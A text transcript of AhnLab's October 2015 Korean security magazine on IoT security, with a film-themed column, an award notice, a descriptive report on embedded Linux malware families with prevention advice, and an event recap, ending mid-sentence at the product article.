+ All Categories
Home > Documents > 안랩 온라인 보안 매거진 - AhnLab,...

안랩 온라인 보안 매거진 - AhnLab,...

Date post: 05-Jun-2020
Category:
Upload: others
View: 2 times
Download: 0 times
Share this document with a friend
30
IoT & Security 안랩 온라인 보안 매거진 2015. 10
Transcript
Page 1: 안랩 온라인 보안 매거진 - AhnLab, Inc.download.ahnlab.com/kr/site/magazineAhn/ahn_201510.pdf · 포함하여 보안인의 인터스텔라 감상기를 짧게 적어보고자

IoT & Security

안랩 온라인 보안 매거진

2015. 10

Page 2: 안랩 온라인 보안 매거진 - AhnLab, Inc.download.ahnlab.com/kr/site/magazineAhn/ahn_201510.pdf · 포함하여 보안인의 인터스텔라 감상기를 짧게 적어보고자

2

3

5

7

1 0

1 3

1 5

2 2

2 5

2 6

월간

C O N T E N T S

E X P E R T C O L U M N

보안의 시각에서 본 영화 ‘인터스텔라’

S P O T L I G H T

안랩 MDS, ‘APT 솔루션 기술 혁신상’ 수상

S P E C I A L R E P O R T

임베디드 리눅스 악성코드 동향

IoT 그리고 임베디드 리눅스 악성코드

S E C U R I T Y V I E W P O I N T

AhnLab ISF SQUARE 2015 for Construction

안랩, 건설사와 ‘스마트홈 보안’의 초석을 다지다

P R O D U C T I S S U E

USIM 기반의 추가 인증 서비스 ‘안랩 간편인증’ 출시

추가 인증, ‘간편’하니 좋지 아니한가

A N T I - E X P L O I T

어도비 플래시 플레이어 UAF 취약점 CVE-2015-5119

해킹팀과 함께 드러난 제로데이의 ‘실체’

I T & L I F E

내 비밀번호는 얼마나 안전할까?

A H N L A B N E W S

안랩, 동남아 보안 컨퍼런스 참가로 현지 마케팅 강화

공공/금융기관 사칭 피싱 및 파밍 증가, 주의!

S TAT I S T I C S

2015년 8월 보안 통계 및 이슈

2015. 10

Page 3: 안랩 온라인 보안 매거진 - AhnLab, Inc.download.ahnlab.com/kr/site/magazineAhn/ahn_201510.pdf · 포함하여 보안인의 인터스텔라 감상기를 짧게 적어보고자

3

보안의 시각에서 본 영화 ‘인터스텔라’

E X P E R T C O L U M N Interstellar

“웜홀과 블랙홀 그리고 상대성 이론까지, 어려운 물리적 이론을 우주공간에 적용한 놀라운 영화”

2014년 11월에 개봉하여 올 상반기를 뜨겁게 달구었던 영화 중의 하나는 크리스토퍼 놀란 감독의 ‘인터스텔라(Interstellar)’였다. 필자는 영화

장면에 나오는 우주의 수 많은 별들을 제대로 보려면 아이맥스 영화관에서 봐야 한다는 말들을 듣고 예매에 도전했다가, 늘 만원사례인 탓에

차일피일 미루었고 결국 못 보고 말았다.

그렇게 영화를 잊어갈 즈음에 회사가 위치한 판교에 아이맥스 영화관이 신규 오픈 하면서 며칠간 인터스텔라를 재상영한 덕분에 이 영화를 보

게 되었다. 그것도 마지막 상영일 마지막 시간에!

직업병인지 영화를 보는 동안 계속 생각나는 것은 스토리가 ‘사이버 보안’과 유사한 부분이 있다는 점이었다. 영화도 종영됐으니 스포일러를

포함하여 보안인의 인터스텔라 감상기를 짧게 적어보고자 한다.

만 박사의 조작된 데이터와 주기적인 전송

지구 종말과 식량 위기의 유일한 탈출구인 나사로 프로젝트(Lazaros Project)에 참여한 과학자 12명 가운데 3명이 지구를 대체할 식민행성으

로 적합한 곳을 찾았다는 신호를 보내왔다. 이에 이들을 구조하고 식민행성을 확인하기 위한 우주비행사팀이 우주로 여행을 떠난다. 험난한 여

정을 거쳐 처음 찾은 밀러 행성이 식민행성으로 부적합하다는 것을 확인하게 된 우주비행사팀은 만 행성과 에드먼즈 행성 중 한곳만 선택해야

하는 상황에 이르게 된다. 아멜리아는 에드먼즈 행성으로 가기를 원하지만 쿠퍼는 그녀가 합리적인 이유가 아닌 그녀의 연인때문에 감성적인

선택을 한 것이라고 비난하며 만 행성으로 갈 것을 주장한다. 만 박사는 가장 뛰어나 과학자이고 그가 믿을만한 데이터를 주기적으로 보내왔

기 때문이다. 그러나 실상은 만 행성은 얼음과 암모니아로만 이루어져 있으며, 만 박사는 살고 싶은 욕심에 그 행성이 지구를 대체할 식민행성

으로 적합하다는 거짓 데이터를 지구로 보낸 것이다. 심지어 도착한 구조팀에게 산 아래 지역은 사람이 살아갈 수 있다며 거짓 정보를 흘린다.

인터스텔라 공식 포스터

Page 4: 안랩 온라인 보안 매거진 - AhnLab, Inc.download.ahnlab.com/kr/site/magazineAhn/ahn_201510.pdf · 포함하여 보안인의 인터스텔라 감상기를 짧게 적어보고자

4

만 박사가 지속적으로 거짓 정보를 전송해서 사람들을 속이는 것은, 현재 해커들이 가장 많이 사용하는 일종의 사회공학 기법을 이용한 것이

라고 볼 수 있다. 보안에서 사회공학 기법이란 기술적인 방법이 아닌 사람의 기본적인 호기심이나 불안감을 이용해 사람을 속여 중요 정보를

획득하는 것을 말한다. 만 박사는 최종 목적을 이루지는 못했으나 우주비행사팀을 만 행성으로 유인하는 것에는 성공했으므로 1차 공격 목적

은 성공했다고 볼 수 있다.

만 박사의 인공지능 로봇 파괴와 로밀리의 죽음

만 박사는 자신과 함께 임무를 수행하는 인공지능 로봇을 분해하고 암호를 설정해 자신만이 설정 모드로 진입할 수 있도록 장치해 두었다. 거

짓 데이터가 탄로날 수 있으니 나름의 안전 장치를 해 둔 것이다. 여기서 하나 더, 자신 이외의 사람이 설정 모드에 진입할 때는 로봇이 스스로

파괴하도록 프로그램화 해놓았다. 결국 로봇을 회생시켜 데이터를 확인하려 했던 로밀리는 로봇의 폭발과 함께 목숨을 잃고 말았다.

이러한 방법은 해커가 악성코드 제작 시 일정 조건이 되면 파일이나 하드 디스크를 파괴하는 기능을 활용하는 것과 유사하다. 특히, APT라고

불리는 지능형 위협 공격에서 표적 시스템을 파괴하거나 목적을 달성하고 난 후 해킹의 증거를 없애기 위한 방법으로 흔히 사용된다.

이외에도 블랙홀에 빠진 쿠퍼는 시공간이 붕괴된 특이점에 도달하는데, 시간의 축은 없고 공간만이 쭉 늘어져 있는 어린 딸의 방에 도달하게

된다. 여기에서 과거에 있는 딸과 자신에게 신호를 보내게 되는데, 이 특이점은 APT 공격의 흔적을 찾기 위한 타임라인을 그리는 모습과 비슷

하지 않을까?

영화를 보안 관점으로 해석하는 것은 재미가 있으면서도 한편으로는 영화도 편히 못 보는구나 싶은 생각도 들기도 한다. 그러나 인터스텔라 개

봉 이후 다양한 해석과 함께 물리학 열풍이 이어진 것처럼, 영화 속 보안 문제에 대해서 조금 더 관심을 가져주기를 기대하며 이 글을 마친다.

Page 5: 안랩 온라인 보안 매거진 - AhnLab, Inc.download.ahnlab.com/kr/site/magazineAhn/ahn_201510.pdf · 포함하여 보안인의 인터스텔라 감상기를 짧게 적어보고자

5

안랩 MDS, 프로스트 앤 설리번

‘APT 솔루션 기술 혁신상’ 수상

Excellence AwardsS P O T L I G H T

안랩이 지난 9월 17일, 글로벌 시장조사기관 프로스트 앤 설리번(Frost & Sullivan)이 주최한 2015 Frost & Sullivan Korea Excellence

Awards에서 ‘2015 APT(Advanced Persistent Threat) 솔루션 부문 기술 혁신상’을 수상했다.

프로스트 앤 설리번 아시아 태평양지역 네트워킹/정보/사이버 보안팀의 찰스 림(Charles Lim) 선임 산업 연구원은 “안랩은 한국의 경쟁 APT솔루

션 벤더 대비 종합적인 APT 솔루션 개발에 우수성이 돋보이며, 다른 업체들과 차별됐다”고 선정의 이유를 밝혔다.

림 선임 연구원은 “안랩은 다양한 공격 벡터를 통해서 유입되는 신종 악성코드 등과 같은 위협을 분석하고 대응하는 기술을 수행할 뿐만 아니라,

사전에 위협을 방지할 수 있는 실질적인(practical) 해결책을 제시하는 안랩 MDS(Malware Defense System) 라인업을 제공하고 있다”고 말했다.

안랩 MDS는 어셈블리 단계에서 자동 분석 기술로 악성코드를 감지하기 위해 정적 분석과 동적 분석의 하이브리드 기술을 활용하고 있다. 이와

더불어 SSL(Secure Socket Layer)을 활용한 암호화된 트래픽이나 USB 드라이브, 신뢰할 수 있는 내부 네트워크 등 다양한 방법으로 엔드포인트

에 침투하는 지능형(우회 시도) 악성코드나 변종을 차단하고 분석할 수 있다.

▲ 강석균 안랩 전무가 프로스트 앤 설리번으로부터 'APT 솔루션 기술 혁신상'을 수상하고 있다. (왼쪽부터 마노즈 메논 프로스트 앤 설리번 아태지역 사장, 강석균 안랩 전무)

프로스트 앤 설리번, 안랩의 지능형 위협 대응 기술력 인정

Page 6: 안랩 온라인 보안 매거진 - AhnLab, Inc.download.ahnlab.com/kr/site/magazineAhn/ahn_201510.pdf · 포함하여 보안인의 인터스텔라 감상기를 짧게 적어보고자

6

제품의 우수성과 효율성에 힘입어 안랩은 아시아 태평양 전체 지역에서 상위 10위 내에 드는 APT 솔루션 판매업체로 평가 받고 있다.

림 선임 연구원은 “사용 편의성과 공격 벡터에 대한 확실한 가시성, 정확한 감지 등 MDS가 가진 이점들이 아시아 태평양 주요 IT 보안 전문가들

사이에서 좋은 평가를 받고 있다”고 말했다.

안랩의 엔드포인트플랫폼 사업부 강석균 전무는 프로스트 앤 설리번 2015 APT 솔루션 부문-한국 기술 혁신상 수상에 대해 “안랩은 이 상을 계

기로 모든 고객들에게 보다 실질적인 가치를 제공하는 지능형 위협 대응 솔루션으로 진화할 수 있도록 최선을 다하겠다”고 소감을 밝혔다.

올해로 4번째를 맞은 프로스트 앤 설리번 한국 어워드는 각 산업들에서 우수한 활약을 보여준 최고의 기업들을 선정하여 수상하는 자리이다.

2015 프로스트 앤 설리번 한국 어워드 수상 기업들은 프로스트 앤 설리번 연구원들이 실시한 심층 조사를 바탕으로 선정됐다. 프로스트 앤 설리

번은 후보 기업들의 매출 성장과 시장 점유율, 시장 점유율 증가치, 제품 혁신면에서의 리더쉽, 마케팅 전략과 사업 개발 전략 등 다양한 실제 시장

성과지표들을 평가했다. 또한 매년 어워드 수상 부문들은 신흥 트렌드를 비롯해 최근 시장 배경을 반영하여 신중한 검토와 평가를 통해 선정한다.

Page 7: 안랩 온라인 보안 매거진 - AhnLab, Inc.download.ahnlab.com/kr/site/magazineAhn/ahn_201510.pdf · 포함하여 보안인의 인터스텔라 감상기를 짧게 적어보고자

77

S P E C I A L R E P O R T Embedded Linux Malware

CSI 뉴욕 시즌 6의 두 번째 에피소드인 ‘블랙리스트(Blacklist)’에서는 병으로 외출을 할 수 없는 범인이 집에서 자동차, POS 시스템,

엘리베이터를 해킹해 평소 앙심을 품고 있던 사람들을 살해하는 내용이 나온다. 다양한 사물이 인터넷에 연결되고 있는 사물인터넷 시

대에 어울리는 내용이 아닐까 싶다. 드라마 특성상 다소 과장이 있을 수 있지만 현실에서도 인터넷에 연결된 다양한 기기가 범죄에 악

용되기 시작했다.

인터넷에 연결된 기기가 증가하면서 이미 공격자들은 이들 기기를 대상으로 한 해킹 및 악성코드 제작을 시도하고 있다. 현재 사물인

터넷은 다양한 플랫폼이 경쟁을 하고 있는데, 이 중 인기있는 임베디드 리눅스와 이를 겨냥한 악성코드에 대해 알아보자.

최근 다양한 제품이 인터넷에 연결 가능하게 출시되면서 사물인터넷

(Internet of Things)이란 용어가 유행하기 시작한다. 사물인터넷으로

분류될 수 있는 기기는 다양한데 이 중에서도 임베디드 리눅스를 이

용한 다양한 제품이 존재한다.

임베디드 리눅스 기반의 기기

현재 다양한 운영체제가 사물인터넷 주도권을 놓고 경쟁하고 있다. 이

중 임베디드 리눅스(Embedded Linux)도 많이 이용되고 있다. 특히

인터넷 공유기(홈 라우터, Wi-Fi Router, Wireless Router 등으로도

불림), 셋톱박스(Set-top box), NAS(Network Attached Storage) 등

에서 임베디드 리눅스가 널리 이용되고 있다.

인터넷 공유기와 NAS는 주변에서 가장 흔하게 볼 수 있는 임베디

드 리눅스로 구동되는 시스템 중 하나이다. 인터넷 공유기는 가정, 소

형 사무실, 매장에서 널리 이용되고 있다. 공공 장소에 설치된 인터넷

공유기를 통해 다른 사람이 무선 통신 내용을 몰래 훔쳐보는 스니핑

(Sniffing)은 잘 알려졌지만 인터넷 공유기 자체에 악성코드가 존재한

다는 것이 더 큰 문제다.

특히 인터넷 공유기와 NAS는 인터넷 공유나 자료 공유를 위해 보통

24시간 켜져 있어 공격자가 노리는 대표적 시스템이다. 게다가 이들

시스템은 데스크톱과 비교했을 때는 저성능이지만 다른 사물 인터넷

제품과 비교했을 때 컴퓨터에 가까워 공격자들의 우선 목표가 되고

있다.

임베디드 리눅스 기반 기기의 보안 문제

임베디드 리눅스 기반의 기기들의 상당수는 보안을 고려하지 않고 설

계했거나 제작자 편의의 백도어 기능을 포함한 경우가 있다.

[그림 1] 텔넷(telnet)으로 접속해 wget 명령 실행

임베디드 리눅스 악성코드 동향

IoT 그리고 임베디드 리눅스 악성코드

보안을 고려하지 않은 설계

많은 사물인터넷 제품이 보안을 고려하지 않고 만들어지고 일부 인터

넷 공유기와 IP 카메라는 텔넷(telnet) 포트를 열어 둬 외부에서 텔넷

으로 접속할 수 있다. 접속을 위해서는 아이디와 암호가 필요한데 많

은 사용자가 고정된 공장 초기 암호를 그대로 사용하고 있어 공격자

가 쉽게 접속할 수 있다. 이런 기기에는 보통 비지박스(BusyBox)라는

리눅스 명령을 실행해 주는 프로그램이 내장되어 있는데 이 중 wget

명령을 지원하면 손쉽게 다른 악성코드를 다운로드 해 실행할 수도

있다.

백도어 기능 포함

많은 기기에서 외부에서 접속 할 수 있는 백도어가 발견되기도 한다.

개발자가 디버깅 목적 등으로 만들어 두는 경우도 있지만 제작사에서

의도적으로 만들어 둔 경우도 있다. 외부에서 기기에 접근할 수 있다

는 것은 매우 심각한 문제이며, 특히 일반인이 기기에 내장된 백도어

기능을 찾기도 어렵다.

Page 8: 안랩 온라인 보안 매거진 - AhnLab, Inc.download.ahnlab.com/kr/site/magazineAhn/ahn_201510.pdf · 포함하여 보안인의 인터스텔라 감상기를 짧게 적어보고자

88

인터넷 연결에 따른 보안 위협

다양한 기기가 인터넷에 연결되면서 여러 위협에 노출되고 있다. 특히

사용자 편리를 위해 많은 인터넷 연결 기기가 외부에서 접속 가능하

게 되어 있는데 공격자는 이점을 이용하기도 한다.

사생활 침해 및 정보유출

카메라가 장착된 기기의 경우에는 일상 생활을 몰래 훔쳐 보는 사생

활 침해가 발생할 수 있다.

실제로 미국에서는 IP 카메라(아기 모니터 등으로도 불림)를 해킹해

집안을 훔쳐보거나 심지어 말을 건네는 일이 발생하기도 했다.

또, 네트워크에 연결된 CCTV(Closed Circuit Television)에 몰래 접

속해 매장에 사람이 있는지 확인하는 용도로 이용되기도 한다.

설정 변경/데이터 조작

기기가 해킹되면 내부 설정을 변경해 원하지 않는 내용을 출력하거나

보관 중인 데이터를 조작할 수 있다. 또, 원치 않는 광고가 노출 되거

나 피싱 사이트나 악성코드 설치 사이트로 유도될 수 있다. 특히 의료

기기가 공격을 받아 수치가 조작될 경우 사람 목숨이 위험해 질 수도

있다.

[그림 2] 공격자의 목표가 된 IP 카메라

[그림 3] CCTV로 본 계산대

[그림 4] 주요 임베디드 리눅스 악성코드

[그림 5] 2008년 하이드라(Hydra) 정보

악성코드 감염

임베디드 리눅스 시스템은 텔넷이나 웹 서버 기능 지원을 위해 다양한

포트를 열어두고 있다. 공격자는 로그인 정보를 추측하거나 취약점을

이용해 기기에 접속하는 악성코드를 만들 수 있다. 현재까지 발견된

악성코드는 대부분 디도스 공격, 광고 노출, 피싱 사이트 유도, 가상화

폐 채굴 등의 목적으로 가지고 있다.

주요 임베디드 리눅스 악성코드

임베디드 리눅스 악성코드는 2008년에 처음 보고되었고 계속 발견

되고 있다. 초기 임베디드 리눅스 악성코드는 밉스(MIPS) 프로세스를

사용하는 인터넷 공유기만 감염 시킬 수 있었지만 2012년 발견된 에

이드라(Aidra) 웜은 밉스 외 다양한 프로세스를 지원해 인터넷 공유

기뿐 아니라 셋톱 박스 등 다양한 임베디드 리눅스 환경에서 활동할

수 있었다. 많은 악성코드가 디도스 공격 기능을 가지고 있지만 2013

년 발견된 달로즈(Darlloz) 웜은 비트코인과 같은 가상화폐 채굴이 주

목적이다. 2014년 말에는 해킹 그룹 리자드 스쿼드(Lizard Squad)가

Gafgyt 변형으로 일으킨 디도스 공격으로 게임 관련 웹사이트 장애가

발생하기도 했다.

하이드라(Hydra)

최초로 알려진 인터넷 공유기 악성코드는 하이드라(Hydra)이다. 하이

드라는 디도스 공격 악성코드로, 2008년에도 언더그라운드 포럼에 관

련 악성코드 정보가 올라와 있어 그 이전부터 제작되었을 가능성이

높다.

싸이봇(Psybot)

싸이봇(Psybot)은 2009년 1월 테니 보메(Teny Baume)가 발견했다.

인터넷 공유기 악성코드 중 처음으로 일반에 널리 퍼졌으며 디도스

공격 기능을 가지고 있다.

유텔텐드(Uteltend, 척노리스 봇)

유텔텐드(Uetltend)는 척노리스 봇으로도 알려져 있으며, 2009년

말 체코 마사리코바(Masaryk) 대학에서 발견했다. 공격 대상 시스템

을 찾아 텔넷 브루트 포스 공격(Telnet brute force attack)으로 감염

시킨다. 소스코드 내 이탈리아어로 ‘[R]anger Killato : in nome di

Chuck Norris!’가 존재한다고 한다. UPX 로 패킹되어 있으며 ‘Knb

Keep nick bot 0.2.2’ 문자열이 존재한다.

Page 9: 안랩 온라인 보안 매거진 - AhnLab, Inc.download.ahnlab.com/kr/site/magazineAhn/ahn_201510.pdf · 포함하여 보안인의 인터스텔라 감상기를 짧게 적어보고자

99

에이드라(Aidra, Lightaidra)

에이드라는 2012년 2월 최초 보고되었으며 국내에도 감염 사례가 발

생했다. 기존 임베디드 리눅스 악성코드가 밉스(MIPS) 프로세스를 사

용하는 인터넷 공유기만 공격 대상이었다면 이 악성코드는 밉스뿐만

아니라 ARM, MIPSEL, 파워 PC, SuperH 등의 다양한 프로세스에서

도 동작하도록 제작되었다. IRC 봇 악성코드로 디도스 공격 기능을 가

지고 있으며 소스코드가 공개되어 다양한 변형이 존재한다. 2014년

발견된 변형은 2013년 발견된 경쟁 악성코드인 달로즈(Darlloz) 제거

기능이 추가되었다.

달로즈(Darlloz, Zollard)

2013년 10월 발견된 사물인터넷 웜으로 x86, MIPS, ARM, 파워PC

등의 시스템을 감염 시킬 수 있다. 다른 악성코드가 주로 디도스 공격

기능이 있는데 반해 이 악성코드는 비트코인 같은 가상화폐 채굴 기

능을 가지고 있다. 시만텍에 따르면 전 세계 31,000 대 시스템 감염이

추정되는데 17%가 국내 시스템이었다.

Gafgyt

Gafgyt는 2014년 8월부터 존재가 확인되었다. 특히 2014년 말 리자

드 스쿼드(Lizard Squad)에서 엑스박스 라이브(Xbox Live)와 플레이

스테이션 네트워크(PlayStation Network)에 디도스 공격할 때 이용돼

유명해졌다. 2015년 1월 소스코드가 공개되어 여러 변형이 존재한다.

임베디드 리눅스 악성코드 예방

현재까지 인터넷 공유기나 NAS에 악성코드가 감염되었을 때 진단 및

치료 할 수 있는 마땅한 방법이 없다. 백신 프로그램이 존재하지 않고

백신 프로그램이 존재해도 제조사 도움이 없으면 프로그램 설치도 어

렵다. 따라서 악성코드 감염을 예방하기 위한 노력이 필요하다.

우선 인터넷 공유기나 NAS의 공장 초기화 암호는 반드시 변경해야

한다. 새로운 암호는 숫자와 특수 문자를 섞어서 사용하고 주기적으

로 변경하면 가장 좋다.

공격자는 최근 인터넷 공유기 취약점을 찾아 계속 공격하고 있어 제

조 업체에서도 주기적으로 펌웨어 업데이트를 제공하고 있다. 인터넷

에 연결된 기기는 최신 펌웨어로 업데이트 해야 한다.

공격자들은 대부분 외부에서 접근하는 기능을 악용하고 있다. 따라서

꼭 필요한 경우가 아니라면 외부 접근 기능을 해제하고 사용한다.

이런 예방 조치에도 불구하고 악성코드에 감염될 수 있다. 하지만, 대

부분의 임베디드 리눅스 시스템은 백신 프로그램이 존재하지 않아 악

성코드에 감염되면 수동으로 제거해야 한다. 최신 펌웨어로 업데이트

해야 하는데 많은 사용자들이 펌웨어도 업데이트를 해야한다는 사실

을 모르거나 펌웨어 업데이트 방법을 알지 못하는 실정이다. 따라서

제조 업체는 이러한 문제를 해결하기 위해서 컴퓨터 운영체제와 같은

자동 업데이트 기능을 고려되어야 한다.

최근 인터넷에 연결된 제품이 증가하고 있다. 이 중 인터넷 공유기나

NAS는 저가 컴퓨터만큼의 성능을 갖추고 있다. 공격자는 이런 시스

템을 놓치지 않고 이미 몇 년 전부터 꾸준한 공격을 진행 중이었지만

잘 알려지지 않고 있었다. 게다가 몇몇 악성코드는 소스코드가 공개되

어 다양한 변종이 출현했다. 하지만 아직까지 예방 방법도 쉽지 않고

악성코드에 감염되어도 마땅한 치료 방법이 없다. 인터넷에 연결된 기

기가 다양해지고 시스템 성능이 올라갈수록 악성코드 문제도 증가할

것이다.

현재 임베디드 리눅스 악성코드는 주로 인터넷 공유기 같은 가정 내

의 네트워크 장비에 국한되어 있지만 악성코드 제작자들은 좀더 다양

한 기기를 감염시키기 위한 노력도 진행하고 있다. 문제가 더 심각해

지기 전에 정부, 업계, 보안업체가 힘을 합쳐 보안 문제를 고민할 때가

아닐까 싶다. 그리고 개인과 기업도 인터넷 연결 기기를 구매할 때 가

격보다는 보다 신뢰할 수 있고 지속적인 펌웨어 업그레이드가 가능한

업체를 선택해야 한다.

<참고 문헌>

[1] Marta Janus/Kaspersky, ‘Heads of the Hydra, Malware for Network Devices’, 2011

[2] Marta Janus/Kaspersky, ‘State of play: network devices facing bulls-eye’, 2014

[3] 손기종/공유기 공격 사례를 통한 사물인터넷 기기 보안 위협, 2015

Page 10: 안랩 온라인 보안 매거진 - AhnLab, Inc.download.ahnlab.com/kr/site/magazineAhn/ahn_201510.pdf · 포함하여 보안인의 인터스텔라 감상기를 짧게 적어보고자

10

S E C U R I T Y V I E W P O I N T AhnLab ISF SQUARE 2015

안랩은 9월 15일 여의도 콘래드 호텔에서 주요 건설사의 보안 책임자를 초청해 ‘스마트홈 및 IoT 시대의 보안 위협과 안랩의 대응 방안’을 주

제로 ‘안랩 ISF 스퀘어 2015’를 개최했다. 이날 행사는 스마트홈으로 대표되는 IoT(Internet of Things)의 시대를 맞아 건설업계가 직면하고 있

는 보안 위협과 대책은 무엇인지에 대해 의견을 나누는 자리였다.

강석균 안랩 전무는 “건설업계가 당면하고 있는 보안 이슈는 크게 비즈니스 운영과 관계된 기업 내부 보안 이슈와 홈 네트워크 보안 등 두 가

지로 구분할 수 있다”고 전제하고 “특히 홈 네트워크는 2000년대 초반부터 발전하기 시작해 현재 IoT 시대를 앞두고 융·복합된 새로운 기술

이 떠오르는 영역으로, 최근 다양한 보안 위협이 생겨나기 시작했다”고 말했다. 이어 “오늘 이 행사를 통해 변화의 시대에 건설업계가 갖고 있

는 보안 현안에 대해 안랩은 물론 동종 업계 관계자들과 많은 의견을 나누는 자리가 되길 바란다”고 전했다.

안랩은 ‘고객 주도형 보안(Customer driven Security)’ 전략의 일환으로 고객을 찾아가 산업군별, 지역별 특성과 요구를 듣고 이에

최적화된 해법을 함께 마련하는 AhnLab ISF(Integration Security Fair) SQUARE 2015(이하 안랩 ISF 스퀘어 2015)를 진행하고

있다. 지난 6월 증권업계를 시작으로 8월 은행업계, 그리고 지난 9월에는 주요 건설사 보안 책임자들을 초청해 건설업계에서 화두로

떠오른 보안 이슈를 살펴보고 이에 대한 해결 방안을 함께 논의하는 자리를 가졌다.

안랩, 건설사와 ‘스마트홈 보안’의

초석을 다지다

AhnLab ISF SQUARE 2015 for Construction

▲ 안랩 ISF 스퀘어 2015에서 환영사를 전하는 강석균 안랩 전무(오른쪽)

Page 11: 안랩 온라인 보안 매거진 - AhnLab, Inc.download.ahnlab.com/kr/site/magazineAhn/ahn_201510.pdf · 포함하여 보안인의 인터스텔라 감상기를 짧게 적어보고자

11

건설사 보안 책임자를 위한 안랩 ISF 스퀘어 2015의 첫 번째 세션에서는 김창희 안랩 제품기획팀 팀장이 ‘스마트홈과 IoT 시대의 보안’이라는

주제로 데스크톱 PC부터 모바일, 그리고 IoT에 이르기까지 IT 환경의 변화를 설명하고 최신 보안 동향, 특히 IoT와 스마트홈 보안 위협에 대한

화두를 공유했다.

김창희 팀장은 “스마트홈을 통해 인터넷과 연결된 주거 형태로의 변화가 나타나고 있다”며 “IoT 기술로 보다 개방화되고 인터넷, 즉 네트워크

로 모든 것이 연결되는 시대가 다가오고 있다는 것은 그만큼 더 많은 보안 위협에 노출되고 있다는 의미이기도 하다”라고 말했다. 또한 “IoT

보안에 대한 언급은 많지만 아직 구체적인 인식이 부족한 상태다”라고 지적했다.

실제로 올해 초 홈네트워크 기술이 적용된 기기의 보안 취약점을 이용한 해킹이 발생해 기사화된 바 있지만 스마트홈 보안 위협에 대한 체감

은 미미한 편이다. 김창희 팀장은 이날 행사에서 실제 월패드를 이용한 스마트홈 해킹 시연을 공개했다. 이 시연에서는 스마트홈 월패드와 서

버 간의 패킷을 탈취·모조하는 방식부터 악성코드를 이용한 월패드 공격을 통해 세대 내 조명이나 출입문을 임의로 제어하고, 심지어 세대

내부의 도청 및 도촬까지 가능한 것으로 나타났다.

김창희 팀장은 “IoT 시대의 해킹과 보안 위협은 기존과 같이 사이버 세계에 국한되는 것이 아니라 실제 사회에서 시스템 정지 등 실질적인 피

해로 나타날 것”이라며 “안랩은 스마트홈을 비롯해 IoT 환경에서 발생할 수 있는 다양한 공격 시나리오를 연구해왔으며, 이에 대한 대응 방안

까지 마련하고 있는 상태”라고 자신했다. 그러면서도 “실제 업계와의 협업이 이루어져야 실질적이고 효과적인 대응이 가능하다”고 덧붙였다.

▲ 김창희 안랩 제품기획팀 팀장(왼쪽)과 스마트홈 해킹 시연 모습(오른쪽)

▲ 건설업계의 비즈니스 측면의 보안 위협에 대해 소개한 오상언 안랩 제품기획팀 부장(오른쪽)

두 번째 세션에서는 오상언 안랩 제품기획팀 부장이 ‘진화하는 보안 위협에 대한 기업의 대응 전략 및 사례’에 대해 소개했다. 건설업계는 스마

트홈, 홈 네트워크와 관련된 보안 위협뿐만 아니라 일반 기업들과 마찬가지로 비즈니스 운영과 관련된 내부 보안 이슈가 존재한다. 업계 특성

상 기밀 정보를 보유하고 있는 경우가 많아 내부 정보 유출부터 해킹까지 보안 위협에 민감할 수 밖에 없는 곳이 건설업계다.

이와 관련해 오상언 부장은 “최근 일반 기업뿐만 아니라 병원, 건설사 등 산업 분야를 막론하고 지능형 위협이 증가하고 있는 추세다”라고 말

했다. 또한 “몇 년 전만해도 DDoS 등이 심각한 보안 위협이었다면 최근에는 신종 악성코드 기반의 지능형 공격이 가장 큰 이슈가 되고 있다.

특히 올해는 랜섬웨어가 보안의 화두가 되고 있다”며 랜섬웨어에 감염되는 과정을 시연을 통해 설명했다.

실제로 국내 기업 10군데 중 7곳 꼴로 업무용 PC가 랜섬웨어에 감염돼 PC를 포맷하는 등 피해가 발생하고 있다. 최근 어느 병원에서는 내부

Page 12: 안랩 온라인 보안 매거진 - AhnLab, Inc.download.ahnlab.com/kr/site/magazineAhn/ahn_201510.pdf · 포함하여 보안인의 인터스텔라 감상기를 짧게 적어보고자

12

PC가 랜섬웨어에 감염돼 최근 20년간의 데이터가 삭제되는 일이 벌어지기도 했다.

오상언 부장에 따르면 랜섬웨어를 비롯해 최신 신종 악성코드가 기업 내부로 유입되면 내부 감염 확산부터 관리자 권한 탈취, 내부 DB 정보

유출 및 내부 시스템 파괴 등의 심각한 피해로 이어질 수 있다. 문제는 이미 기업들이 다양한 보안 솔루션을 도입해 운영하고 있음에도 불구하

고 이러한 지능형 위협에 속수무책이라는 점이다.

지능형 위협에 의한 실제 피해 사례를 소개한 오상언 부장은 “지능형 위협에 대응하기 위해서는 먼저 위협이 어떤 경로로 유입될 것인지를 생

각해봐야 한다”고 설명했다. 즉, 네트워크와 엔드포인트에서 위협을 수집하고 네트워크 통신 트래픽까지 분석 및 차단하고 엔드포인트단에서

악성 파일을 삭제 및 치료하는 전방위적 대응이 필요하다는 것.

안랩은 고도화된 최신 보안 위협으로부터 기업의 정보 자산을 보호하기 위해 지능형 위협 대응 솔루션 AhnLab MDS를 제공하고 있다. MDS

는 암호화 통신을 통해 유입되는 악성코드까지 탐지하며 ‘실행 보류’ 기능을 통해 엔드포인트단에서 악성코드의 실행 자체를 차단하기 때문에

랜섬웨어 등에도 효과적으로 대응할 수 있다. 또한 이메일 격리 기능을 통해 이메일 첨부 파일이나 URL을 통한 악성코드 유입을 사전에 봉쇄

한다. MDS는 동적 행위 분석뿐만 아니라 동적 콘텐츠 분석을 통해 최근 증가하고 있는 문서형 파일을 이용한 공격까지 탐지 및 대응이 가능하다.

또한 오상언 부장은 “이러한 지능형 위협 보안 솔루션 또한 도입만 한다고 해서 위협을 해결할 수 있는 것은 아니다”라며 “우선 보안 위협이

유입되는 경로를 파악한 후에 어디에 솔루션을 적용할 것인가 하는 고민이 먼저다”라고 강조했다.

이날 행사는 건설업계 보안 책임자들과 업계가 직면한 보안 이슈를 다각도로 논의하는 자리였다. 안랩은 증권, 은행, 건설업계뿐만 아니라 지

역별 고객을 위한 안랩 ISF 스퀘어 2015를 진행하고 있다. 지난 8월 전주를 시작으로 9월 부산에 이어 10월 20일 광주, 10월 21일에는 대구

를 찾아갈 예정이다.

Page 13: 안랩 온라인 보안 매거진 - AhnLab, Inc.download.ahnlab.com/kr/site/magazineAhn/ahn_201510.pdf · 포함하여 보안인의 인터스텔라 감상기를 짧게 적어보고자

13

P R O D U C T I S S U E

13

2013년 이후 인터넷 뱅킹 시 공인인증서로 본인 확인을 한 후 SMS(문자메시지)나 ARS 등 통신망을 이용해 추가로 본인인증을 하는

추가 인증 방식이 의무화되었으며, 현재 온라인 쇼핑 등에도 추가 인증 방식이 확대되고 있다. 그러나 최근 SMS나 ARS의 보안 허점

이 잇따라 드러나면서 새로운 추가 인증 방식에 대한 요구가 늘고 있다. 그러나 막상 새로운 추가 인증 방식을 도입하려 해도 사용자

